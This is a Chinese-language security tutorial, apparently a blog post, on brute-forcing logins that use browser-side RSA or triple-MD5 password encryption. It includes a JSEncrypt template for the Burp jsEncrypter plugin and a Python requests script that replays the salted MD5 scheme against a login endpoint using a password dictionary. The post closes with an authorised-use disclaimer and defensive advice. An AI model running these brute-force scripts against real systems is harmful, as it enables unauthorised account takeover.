技术讨论 | 如何对经前端加密后的数据进行爆破
字数 1079 2025-08-18 11:37:37
前端加密数据爆破技术详解
前言
本文详细讲解如何对采用前端加密的登录系统进行爆破攻击,涵盖RSA和MD5两种加密方式的实战案例。通过本文,您将掌握前端加密分析、加密过程模拟以及自动化爆破的技术要点。
案例一:RSA本地加密爆破
系统分析
-
登录流程:
- 输入正确用户名密码后,系统向注册手机号发送验证码
- 输入正确验证码完成登录
- 关键漏洞:系统未限制验证码获取频率
-
加密方式:
- 使用RSA非对称加密
- 前端调用jsencrypt.min.js进行加密
- 公钥存储在cookie中并以URL编码形式存在
工具准备
-
jsEncrypter插件:
- 下载地址:https://github.com/c0ny1/jsEncrypter/releases
- 功能:在Burp Suite中模拟前端加密过程
-
加密分析:
- 定位加密代码:ui/lib/security/rsa_util.js
- 分析加密调用逻辑
- 注意公钥处理方式(URL解码和换行符替换)
实施步骤
-
编写加密模板:
// jsEncrypter_rsa.js示例 var publicKey = decodeURIComponent(cookie中的公钥).replace(/\\n/g, '\n'); var encrypt = new JSEncrypt(); encrypt.setPublicKey(publicKey); function encrypt(data){ return encrypt.encrypt(data); } -
运行环境配置:
- 启动phantomJS
- 在Burp Suite中加载jsEncrypter插件
- 测试加密功能是否正常工作
-
爆破实施:
- 抓取登录请求包
- 使用插件对用户名和密码字段进行加密
- 加载字典实施爆破
- 通过验证码发送情况判断成功与否
案例二:MD5本地加密爆破
系统分析
-
登录流程:
- 无验证码,可多次提交
- 用户名密码在本地进行MD5加密
- 需要先获取salt和cd值
-
加密方式:
- 三重MD5加密:密码 → 密码+salt → 上一步结果+cd
- salt和cd通过单独接口获取
工具准备
- Python脚本:
- requests库:发送HTTP请求
- hashlib库:进行MD5加密
- json库:处理返回数据
实施步骤
-
爆破脚本编写:
import requests import hashlib import json def Brute_Force(username, password): session = requests.Session() # 获取salt和cd response = session.post("获取salt的URL", data={"username": username}) salt_data = json.loads(response.content) # 三重MD5加密 md5_pass = hashlib.md5(password.encode()).hexdigest() + salt_data['salt'] md5_salt = hashlib.md5(md5_pass.encode()).hexdigest() + str(salt_data['cd']) md5_cd = hashlib.md5(md5_salt.encode()).hexdigest() # 发送登录请求 login_data = {"username": username, "password": md5_cd} login_response = session.post("登录URL", data=login_data) return login_response.content -
字典准备:
- 创建pass.txt文件
- 每行一个密码候选
-
执行爆破:
- 遍历密码字典
- 对每个密码进行加密处理
- 分析返回数据判断是否成功
关键注意事项
-
编码问题:
- 注意URL编码与解码的一致性
- 确保字符串编码统一(通常使用UTF-8)
-
加密细节:
- 准确还原前端加密逻辑
- 特别注意salt和cd的拼接顺序
-
性能优化:
- 对固定值(如salt)进行缓存
- 合理控制请求频率
-
合法性:
- 仅用于授权测试
- 遵守相关法律法规
防御建议
-
服务端措施:
- 实施请求频率限制
- 增加验证码机制
- 服务端二次加密
-
前端改进:
- 动态获取加密密钥
- 增加时间戳等动态参数
- 混淆加密代码
通过本文的技术细节,安全人员可以更好地理解前端加密的潜在风险,并采取相应措施加强系统安全。